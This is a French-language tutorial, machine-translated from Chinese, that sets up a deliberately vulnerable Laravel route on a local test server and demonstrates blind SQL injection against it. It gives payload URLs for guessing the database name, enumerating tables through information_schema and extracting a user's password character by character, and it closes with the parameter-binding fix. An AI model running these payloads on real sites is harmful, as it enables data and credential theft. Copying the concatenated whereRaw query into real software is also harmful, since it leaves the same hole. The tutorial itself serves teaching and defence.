Cet article vous apporte des connaissances pertinentes sur laravel, qui explique principalement comment expliquer le principe de l'injection aveugle SQL en créant une vulnérabilité laravel. La soi-disant injection aveugle est l'injection terminée lorsque le serveur n'a pas d'écho d'erreur. jetons-y un coup d'œil, j'espère que cela sera utile à tout le monde.
【Recommandation associée : tutoriel vidéo laravel】
Environnement
composer create-project laravel/laravel lar9 // 安装laravel9 // 编辑.env 修改为DEBUG=false 配置数据库 DEBUG=false DB_HOST=.... php artisan migrate php artisan serve // 启动 // 插入数据 insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
Création d'une vulnérabilité
// routes/web.php Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = '.$id)->first(); return $user->name ?? ''; }); // 最后转换的sql是: select * from users where id = $id
Test
http://127.0.0.1:8000/?id=1' // 500 http://127.0.0.1:8000/?id=1 and 1=2 // select * from users where id = 1 and 1=2; 返回空 http://127.0.0.1:8000/?id=1 and 1=1 // select * from users where id = 1 and 1=1 返回xxh
Nom de la base de données
Devinez le nom des données length
url: http://127.0.0.1:8000/?id=1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 2 // 一直循环下去
Devinez le nom de la base de données
从第一步 知道了数据库名长度 `select * from users where id = 1 and substr(database(),1,1) =a` `select * from users where id = 1 and substr(database(),1,1) =b` // 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度
Enfin : laravel_project
Nom de la table
Les étapes suivantes sont similaires à deviner la base de données, je vais donc rester simple.
information_schema
information_schema est livré avec mysql.
Le nom de la base de données, le nom de la table, le type de colonne, etc. sont tous enregistrés. Devinez que les champs de la table doivent provenir de cette base de données.
Devinez le nombre de tables dans laravel_project
url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5 mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct"; +----------+ | count(*) | +----------+ | 5 | +----------+
Devinez la longueur du premier nom de table
Ce n'est pas beaucoup plus que [devinez la longueur du nom des données].
Devinez le premier nom de la table
url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f' mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1; +------------------------+ | substr(table_name,1,1) | +------------------------+ | f | +------------------------+ // 得出第一个表的第一个字段是f 然后查第
Enfin, le premier nom de la table est : failed_jobs
Deviner les champs
La logique est exactement la même que pour deviner la table.
select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数
Devinez les données
Données C'est la chose la plus importante.
Parce que failed_jobs n'a pas de données, je l'ai changé en utilisateurs.
les utilisateurs ont un champ de mot de passe.
mysql> select substr((select password from users limit 0,1),1,1); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,1) | +----------------------------------------------------+ | w | +----------------------------------------------------+ 得出第一个是w,存起来,最后判断 mysql> select substr((select password from users limit 0,1),1,2); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,2) | +----------------------------------------------------+ | wo | +----------------------------------------------------+ 第二个值为o 用第一个值 + 第二个值作为盲注
...
Défense
(Parfois, là où ne répond pas aux exigences, vous avez besoin de oùRaw)
Si nécessaire, n'oubliez pas de le lier.
Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = ?',[$id])->first(); return $user->name ?? ''; });
Tant que vous utilisez le framework en toute sécurité, il n'y aura aucune faille.
Ces vieux projets sont pleins de failles.
De nos jours, il est difficile de trouver des failles.
Ps
Par souci de simplicité, la recherche la plus simple est utilisée ci-dessus.
L'injection aveugle manuelle doit utiliser la recherche binaire.
select * from users where id = 1 and substr(database(),1,1) ='a'; 换成二分: select * from users where id = 1 and ascii(substr(database(),1,1)) > 99;
Il est préférable d'utiliser l'outil sqlmap pour le scanner directement.
【Recommandation associée : tutoriel vidéo laravel】
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!